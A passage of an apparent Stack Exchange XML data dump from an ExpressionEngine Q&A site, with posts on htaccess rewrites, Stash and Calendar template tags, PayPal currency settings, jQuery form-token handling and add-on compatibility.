&lt;code&gt;ErrorDocument 404&lt;/code&gt; line like you have used above). Also always start from the smallest htaccess possible, then add back in lines as necessary (I've seen people with htaccess files 3 pages long wondering why their site isn't working).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the official htaccess isn't working, try changing the &lt;code&gt;RewriteRule&lt;/code&gt; line to one of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php?/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule . index.php [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If that still doesn't work, try changing the &lt;code&gt;$config['uri_protocol']&lt;/code&gt; setting in &lt;code&gt;config.php&lt;/code&gt;. I find &lt;code&gt;PATH_INFO&lt;/code&gt; or &lt;code&gt;ORIG_PATH_INFO&lt;/code&gt; work more often than not on stubborn servers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'ORIG_PATH_INFO';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, if none of those suggestions work, it's probably time to start talking to your web host - often they have much better knowledge of how their servers are configured (alternatively, find a host with a more standard setup).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-28T14:52:51.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5471" PostTypeId="2" ParentId="5468" CreationDate="2013-01-28T15:13:52.870" Score="3" Body="&lt;p&gt;What you currently do is setting a list every time a channel entries loop runs, which is why you only get the result stored during the last loop that matched your criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the set list tags outside the channel entries tags and just set one list at that point. Stash set list will automatically detect multiple rows and capture them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;st_pages&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;page&quot; sort=&quot;asc&quot; orderby=&quot;title&quot; dynamic=&quot;no&quot;}&#xA;&#xA;        {stash:st_title}{title}{/stash:st_title}&#xA;        {stash:st_url_title}{url_title}{/stash:st_url_title}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Match against can then be used to create three lists out of one when you GET the list.    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list &#xA;   name=&quot;st_pages&quot; &#xA;   match=&quot;#^B#&quot;&#xA;   against=&quot;st_title&quot;&#xA;}&#xA;...&#xA;{/exp:stash:get_list}  &#xA;&#xA;{exp:stash:get_list &#xA;   name=&quot;st_pages&quot; &#xA;   match=&quot;#^A#&quot;&#xA;   against=&quot;st_title&quot;&#xA;}&#xA;...&#xA;{/exp:stash:get_list}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-28T15:51:11.617" LastActivityDate="2013-01-28T15:51:11.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5472" PostTypeId="1" AcceptedAnswerId="6460" CreationDate="2013-01-28T15:25:15.197" Score="1" ViewCount="238" Body="&lt;p&gt;Using Solspace Calendar, Cal tag to display a range of months. However I am experiencing some odd behaviour. See the link below. The Cal is getting the Start/End date from the URL.&#xA;&lt;a href=&quot;http://www.245207.temp-dns.com/calendar/2012/10/2013/05&quot; rel=&quot;nofollow&quot;&gt;http://www.245207.temp-dns.com/calendar/2012/10/2013/05&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to mixing some of the days up and adding out_of_range css classes to days. I read somewhere that it is because of the way the Calendar module calculates the days in a month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div id=&quot;month-cal&quot;&amp;gt;&#xA;&#xA;&#xA;    {exp:calendar:cal date_range_start=&quot;{segment_2}-{segment_3}-01&quot; date_range_end=&quot;{segment_4}-{segment_5}-last&quot;}&#xA;&#xA;&#xA;&#xA;      {display_each_month}&#xA;      &amp;lt;table id=&quot;fc_outer&quot;&amp;gt;&#xA;         &amp;lt;thead&amp;gt;&#xA;            &amp;lt;tr id=&quot;month_year&quot;&amp;gt;&#xA;               &amp;lt;th colspan=&quot;2&quot;&amp;gt;&amp;amp;laquo; &amp;lt;a href=&quot;{path='calendar/month'}/{prev_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;{prev_month format=&quot;%F&quot;}&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th colspan=&quot;3&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/th&amp;gt;&#xA;               &amp;lt;th colspan=&quot;2&quot;&amp;gt;&amp;lt;a href=&quot;{path='calendar/month'}/{next_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;{next_month format=&quot;%F&quot;}&amp;lt;/a&amp;gt; &amp;amp;raquo;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;         &amp;lt;/thead&amp;gt;&#xA;         &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;               &amp;lt;td colspan=&quot;7&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;                  &amp;lt;table id=&quot;fc_inner&quot;&amp;gt;&#xA;                     &amp;lt;thead&amp;gt;&#xA;                        &amp;lt;tr id=&quot;days_of_week&quot;&amp;gt;&#xA;                           {display_each_day_of_week}&#xA;                           &amp;lt;th class=&quot;day_of_week {day_of_week}&quot;&amp;gt;{day_of_week}&amp;lt;/th&amp;gt;&#xA;                           {/display_each_day_of_week}&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                     &amp;lt;/thead&amp;gt;&#xA;                     &amp;lt;tbody&amp;gt;&#xA;                        {display_each_week}&#xA;                           &amp;lt;tr&amp;gt;&#xA;                              {display_each_day}&#xA;                              {if day_in_current_month}&#xA;                                 &amp;lt;td class=&quot;day_cell&quot;&amp;gt;&amp;lt;div class=&quot;date&quot;&amp;gt;{date format=&quot;%j&quot;}&amp;lt;/div&amp;gt;&#xA;                              {if:else}&#xA;                                 &amp;lt;td class=&quot;day_cell out_of_range&quot;&amp;gt;&amp;lt;div class=&quot;date&quot;&amp;gt;&amp;lt;span class=&quot;num&quot;&amp;gt;{date format=&quot;%j&quot;}&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;                              {/if}&#xA;                              {display_each_hour}&#xA;                                 {events}&#xA;                                    &amp;lt;div &#xA;                                      class=&quot;&#xA;                                         event {if event_all_day}all_day{/if} &#xA;                                         {if event_multi_day}multi_day{/if} &#xA;                                         {if event_first_day}first_day{/if} &#xA;                                         {if event_last_day}last_day{/if} &#xA;                                         {if all_day_event_index_difference &amp;gt; 0}index_difference_{all_day_event_index_difference}{/if}&#xA;                                      &quot;&amp;gt;&#xA;                                   {if event_multi_day} &#xA;                                      {if event_all_day == FALSE}&#xA;                                         {if event_first_day}&#xA;                                            {event_start_time}&#xA;                                         {/if} &#xA;                                         {if event_last_day}&#xA;                                            {event_end_time}&#xA;                                         {/if}&#xA;                                      {/if}&#xA;                                         &amp;lt;a href=&quot;{path='calendar/event'}/{event_id}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&#xA;                                   {if:else}&#xA;                                      {if event_all_day == ''}&#xA;                                         {event_start_date format=&quot;%g&quot;}{if event_start_minute &amp;gt; 0}:{event_start_minute}{/if}{if event_end_time != event_start_time &amp;amp;&amp;amp; event_end_time != '00:00'}&amp;amp;ndash;{event_end_date format=&quot;%g&quot;}{if event_end_minute &amp;gt; 0}:{event_end_minute}{/if}{event_end_date format=&quot;%a&quot;}{if:else}{event_start_date format=&quot;%a&quot;}{/if}&#xA;                                      {/if}&#xA;                                         &amp;lt;a href=&quot;{path='calendar/event'}/{event_id}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&#xA;                                   {/if}&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                 {/events}&#xA;                              {/display_each_hour}&#xA;                           &amp;lt;/td&amp;gt;&#xA;                           {/display_each_day}&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                        {/display_each_week}&#xA;                     &amp;lt;/tbody&amp;gt;&#xA;                  &amp;lt;/table&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;         &amp;lt;/tbody&amp;gt;&#xA;      &amp;lt;/table&amp;gt;&#xA;&#xA;   {/display_each_month}&#xA;   {/exp:calendar:cal}      &#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end month-cal --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there was a way to get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="541" LastEditorUserId="293" LastEditDate="2013-01-28T16:09:33.383" LastActivityDate="2013-02-17T15:27:00.460" Title="Solspace Calendar Cal tag multiple months" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5474" PostTypeId="1" CreationDate="2013-01-28T16:46:34.563" Score="1" ViewCount="318" Body="&lt;p&gt;I am developing on a high performance MediaTemple DV at the moment. The RAM on the server is 16GB and while pages load relatively quickly, it appears that any scripts I write which use the Channel Entries API, or in fact any channel entries loops that I include, whether they be directly embedded in the template, or called via ajax, tend to max out the CPU. For example, calling a couple of hundred channel entries, with each entry consisting of less than 40 fairly standard fields (with the exception of a small few specific items), set the CPU on the server to be over 100%. Has anyone else experienced a similar issue with channels, entries, the API itself, etc? Our system relies very heavily on calling and filtering channel entries so the current performance is definitely unacceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-03-12T00:53:37.863" Title="Channel Entries API incredibly slow performance" Tags="|channel-entries|performance|server|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5475" PostTypeId="2" ParentId="5385" CreationDate="2013-01-28T16:55:42.740" Score="1" Body="&lt;p&gt;The issue seems to be that I'm using a single variable farther up in the tag pair, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{index_slides}&#xA;    {exp:ce_img:single&#xA;        src=&quot;{full}&quot;&#xA;        width=&quot;500&quot;&#xA;        height=&quot;300&quot;&#xA;        alt=&quot;{alt}&quot;&#xA;        crop=&quot;yes&quot;&#xA;    }&#xA;    {full}&#xA;        &amp;lt;p&amp;gt;The name of this file is {filename}&amp;lt;/p&amp;gt;&#xA;    {/full}&#xA;{/index_slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seems to be getting Assets all confused, which is understandable.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-01-28T16:55:42.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5476" PostTypeId="1" CreationDate="2013-01-28T17:51:10.507" Score="1" ViewCount="67" Body="&lt;p&gt;Even though I have my currency set to CAD my purchases are coming through paypal as USD.  Am I missing something because I cannot figure out why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; sort=&quot;asc&quot; entry_id=&quot;21|22|23|24|25|26|27|28&quot;}&#xA;{exp:simple_commerce:purchase entry_id=&quot;{entry_id}&quot; success=&quot;user_main/success&quot; cancel=&quot;user_main/index&quot; country_code=&quot;CA&quot; currency=&quot;CAD&quot;}&#xA;&#xA;       &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{item_name}&amp;lt;/strong&amp;gt; - &#xA;       {if item_type == &quot;purchase&quot;}&#xA;&#xA;&amp;lt; a href=&quot;{add_to_cart_url}&quot; onclick=&quot;window.open(this.href);return false;&quot;&amp;gt;Add to Cart&amp;lt;/a &amp;gt;&#xA;&#xA;       {/if}&#xA;&#xA;{/exp:simple_commerce:purchase}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="209" LastEditDate="2013-01-28T17:58:26.683" LastActivityDate="2013-01-28T19:06:01.017" Title="Simple Commerce Currency" Tags="|ecommerce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5478" PostTypeId="2" ParentId="3509" CreationDate="2013-01-28T18:21:07.090" Score="1" Body="&lt;p&gt;It could be that your update to the XID isn't specific to the form you're updating. Do you have an update cart form on the page as well? This line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('input[name=XID]').val(data.XID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will look for ALL fields on a page with the name set to XID. You need to set that in the scope of the form you're updating, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form.find('input[name=XID]').val(data.XID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice $form is passed as one of the attributes to your success function of ajaxForm. You should do that for all your calls to the form fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding some of your jquery, you could improve performance by chaining (See: &lt;a href=&quot;http://api.jquery.com/end/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/end/&lt;/a&gt;). E.g, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.payment-total .subtotal .col2').html( data.cart_subtotal );&#xA;$('.payment-total .discount .col2').html( '- ' + data.cart_discount );&#xA;$('.payment-total .shipping .col2').html( data.cart_shipping );&#xA;$('.payment-total .total .col2').html( data.cart_total );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should really do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form&#xA;    .find('.payment-total')&#xA;        .find('.subtotal .col2')&#xA;            .html( data.cart_subtotal )&#xA;        .end()&#xA;        .find('.discount .col2')&#xA;            .html( '- ' + data.cart_discount )&#xA;        .end()&#xA;        .find('.shipping .col2')&#xA;            .html( data.cart_shipping )&#xA;        .end()&#xA;        .find('.total .col2')&#xA;        .html( data.cart_total );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That saves jquery having to start traversing the DOM for each line and is a good practice.&lt;/p&gt;&#xA;" OwnerUserId="186" LastActivityDate="2013-01-28T18:21:07.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5479" PostTypeId="2" ParentId="5476" CreationDate="2013-01-28T19:06:01.017" Score="1" Body="&lt;p&gt;Is your currency set correctly/added in PayPal? Login to PayPal and go to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;My Account &gt; Profile &gt; My Money &gt; PayPal Balance More Menu &gt; Currencies&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-28T19:06:01.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5480" PostTypeId="2" ParentId="5439" CreationDate="2013-01-28T19:08:21.693" Score="2" Body="&lt;p&gt;Another option for you is using an add-on like &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;MX Cloner&lt;/a&gt; that would allow you to clone, or copy, entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create 'default' entry with initial set of data (make sure it's status is 'closed' so it's not published on site) and ask authors to clone it when creating a new entry. That way, entries will be created already with set of required data in them.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-28T19:08:21.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5482" PostTypeId="2" ParentId="5474" CreationDate="2013-01-28T19:42:48.483" Score="1" Body="&lt;p&gt;In some cases, it is much more efficient to make a direct SQL query instead of calling API. Try making requests that would load only data that you need, instead of trying to get everything via API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest that you post this issue to official EE support forums, as there's a chance there's some EE bug involved here.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-28T19:42:48.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5483" PostTypeId="1" AcceptedAnswerId="5487" CreationDate="2013-01-28T19:49:54.247" Score="2" ViewCount="158" Body="&lt;p&gt;I am running into the strangest problem. I am unable to change template preferences on an EE site. I am a Super Admin, but when I click &quot;Edit Preferences&quot; and try to Enable Caching I get a dropdown at the top of the page that says, &quot;You are not authorized to access this page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help! I’ve tried all sorts of things and can’t figure out what on earth is going on.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-01-28T20:03:51.983" Title="Unable to Change Template Caching Preference" Tags="|templates|admin|system|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5484" PostTypeId="2" ParentId="5483" CreationDate="2013-01-28T19:55:44.650" Score="1" Body="&lt;p&gt;Doing a search on &lt;code&gt;lang('unauthorized_access')&lt;/code&gt; in the EE codebase shows that it's used for just about everything. Have you checked file permissions within your site directory? Is it trying to create a cache directory or file on the server and unable to?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-28T19:55:44.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5485" PostTypeId="1" AcceptedAnswerId="5486" CreationDate="2013-01-28T19:58:48.303" Score="1" ViewCount="139" Body="&lt;p&gt;Just wondered if its possible to make a newly loaded page jump to a id ?&#xA;with or without javascript&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like the old fasion way of having links to jump the same page. &#xA;goto 4&#xA;would jump to &#xA;jump here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be archived on load ? if forexample my link is in segment_2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thats all :)   &lt;/p&gt;&#xA;" OwnerUserId="717" LastActivityDate="2013-01-28T20:05:35.933" Title="expression engine jump to #id location on loaded page possible?" Tags="|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5486" PostTypeId="2" ParentId="5485" CreationDate="2013-01-28T20:01:30.833" Score="3" Body="&lt;p&gt;Sure. You'd just need something like this is in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2!=''}&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function(){&#xA;$.scrollTo('#{segment_2}');&#xA;})&#xA;&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's assuming you have some sort of &quot;scrollTo&quot; jQuery add-on. You'll have to check the validity of that quickly written code.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-28T20:01:30.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5487" PostTypeId="2" ParentId="5483" CreationDate="2013-01-28T20:03:51.983" Score="3" Body="&lt;p&gt;I ran into this a while back and Robin helped me. Here's the thread on the subject: &lt;a href=&quot;http://ellislab.com/forums/viewthread/224591/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/224591/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an update for anyone who stumbles on to this post, the great EllisLab team tracked the issue down to headers and post data through json. Info is below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It boiled down to a json array being sent as a string on that manage page whenever it had to pull back the template group’s data via ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But looking at it- we couldn’t figure out why we couldn’t reproduce.  It’s because you have your site set to NOT send http headers.  And EE’s output class, when sending AJAX, sends a header to treat it as json. But since you’ve got sending headers turned off- it gets seen as a string, and goes wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We’re actually going to discuss the long term solution tomorrow.  Really- that header probably should be sent regardless of the header setting.  But- it can be worked around by explicitly including it in the ajax call.  That’s actually what I’ve done on your site for now- in themes/javascript/compressed/cp/manager.js :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function refresh_prefs_ajax(id) {&#xA;&#xA; $.ajax({&#xA;  type: &quot;GET&quot;,&#xA;  url: EE.template_prefs_url,&#xA;  data: &quot;is_ajax=TRUE&amp;amp;group;_id=&quot; + id,&#xA;  dataType: 'json',&#xA;  success: function (data) {&#xA;   EE.pref_json = data;&#xA;  }&#xA; }); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see that dataType param?  That’s what fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the long term fix may be different- and we’ll attack it from the output class.  But it needs some discussion.  For the short term- the hack should work fine.  And when we release the next version we’ll have a fix in it, though what that fix is may vary a bit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Robin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-01-28T20:03:51.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5488" PostTypeId="2" ParentId="5458" CreationDate="2013-01-28T20:05:22.660" Score="1" Body="&lt;p&gt;Unfortunately I wasn't able to problem solve the exact issue on my computer, however (luckily!) we had a second copy running without errors on a computer. I ended copying all of those files onto my machine, then importing that database and all is working fine now.&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-01-28T20:05:22.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5489" PostTypeId="2" ParentId="5485" CreationDate="2013-01-28T20:05:35.933" Score="2" Body="&lt;p&gt;You wouldn't be able to do it without JavaScript, unless you link directly to the anchor from the previous page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='page-with-id'}#id&quot;&amp;gt;Page with ID&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-28T20:05:35.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5490" PostTypeId="1" AcceptedAnswerId="5494" CreationDate="2013-01-28T20:32:10.753" Score="3" ViewCount="196" Body="&lt;p&gt;I have noticed that &lt;a href=&quot;http://pixelandtonic.com/assets&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic Assets&lt;/a&gt; add-on explicitly states compatibility with Amazon S3.  We use Rackspace for our site and are expanding to CloudFiles to take advantage of the integrated CDN. Is Assets an option here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other add-on I have seen on devotee was &lt;a href=&quot;http://devot-ee.com/add-ons/rackspace-cloudfiles&quot; rel=&quot;nofollow&quot;&gt;Rackspace Cloudfiles&lt;/a&gt;.  I have used many P&amp;amp;T add-ons before.  Just trying to figure out what my options are here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally if someone has used one or both of these add-ons with CloudFiles, I would love to hear from you. Can I manage other types of assets like PDFs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any information you can provide.&lt;/p&gt;&#xA;" OwnerUserId="902" LastEditorUserId="268" LastEditDate="2013-01-30T08:18:51.973" LastActivityDate="2013-01-30T08:18:51.973" Title="Does P&amp;T Assets work with Rackspace cloudfiles?" Tags="|add-on|assets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5491" PostTypeId="1" CreationDate="2013-01-28T20:38:14.983" Score="0" ViewCount="55" Body="&lt;p&gt;This is specifically with the Date modal: when I (or the client) go to edit the file information date, we select a day -- and the moment the day selection happens, the file information popup closes without saving the information we'd typed in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behaviour seemed to start when we began creating sub-folders for our files, but I don't think that should have affected anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Assets 2.0.3 on EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behaviour shows up both in my Mac Chrome browser and my client's PC (didn't ask her what browser, but I'm going to say she's using IE).&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-01-31T20:14:17.917" Title="Assets date modal closes info screen w/o saving" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2013-02-14T21:01:22.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="5492" PostTypeId="2" ParentId="5490" CreationDate="2013-01-28T20:38:25.110" Score="1" Body="&lt;p&gt;I recently switched from Assets to Dev Demon's Channel Files on one project to gain Amazon S3 support. Unfortunately it was just a few weeks before Assets support for S3 was announced. I'm a big Assets fan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/channel_files/&quot; rel=&quot;nofollow&quot;&gt;Dev Demon's Channel Files&lt;/a&gt; appears to support Rackspace Cloud if you don't find support with Assets.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-28T20:38:25.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5494" PostTypeId="2" ParentId="5490" CreationDate="2013-01-28T20:50:05.780" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;We use Rackspace for our site and are expanding to CloudFiles to take advantage of the integrated CDN. Is Assets an option here?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Assets only works with the local file system and Amazon S3.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I manage other types of assets like PDFs?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can manage any type of file with Assets.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-28T20:50:05.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5495" PostTypeId="1" CreationDate="2013-01-28T21:11:02.440" Score="1" ViewCount="71" Body="&lt;p&gt;Using the Price Modifiers Configurator, I'm curious if it's possible to add a status to a specific option (based on inventory). Say backorder only red, XL tshirt and leave all other colors and sizes unaffected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not possible with the Price Modifiers Configurator, is it possible to use Matrix? Other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-01-28T21:11:02.440" Title="Adding backorder status to specific option in CartThrob Price Modifiers Configurator" Tags="|add-on|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5496" PostTypeId="1" AcceptedAnswerId="5827" CreationDate="2013-01-28T21:27:38.697" Score="0" ViewCount="379" Body="&lt;p&gt;Sorry, new code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a new channel - gallery. This channel has 4 custom fields - {gallery_page_heading}, {gallery_sub_heading}, {gallery_image} and {gallery_page_content}, {gallery_image} being my Matrix field. I also have a new template - gallery_page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in my gallery_page template is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/site_header&quot;}&#xA;&#xA;{embed=&quot;includes/brand_and_nav&quot;}&#xA;&#xA;&amp;lt;div id=&quot;pageHeading&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;gallery&quot; limit=&quot;1&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;        &amp;lt;h1&amp;gt;{gallery_page_heading}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;{gallery_sub_heading}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- End wrap --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- End pageHeading --&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;contentWrap&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainContent&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;breadcrumb&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;You are here: {exp:structure:breadcrumb inc_here=&quot;yes&quot; here_as_title=&quot;yes&quot; add_last_class=&quot;no&quot;}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- End breadcrumb --&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {gallery_page_content} &#xA;        {/exp:channel:entries}&#xA;&#xA;        {preload_replace:rows_per_page=&quot;3&quot;}&#xA;        {exp:channel:entries channel=&quot;gallery&quot; url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot;}    &#xA;            {if gallery_image}&#xA;                &amp;lt;div id=&quot;gallery&quot; 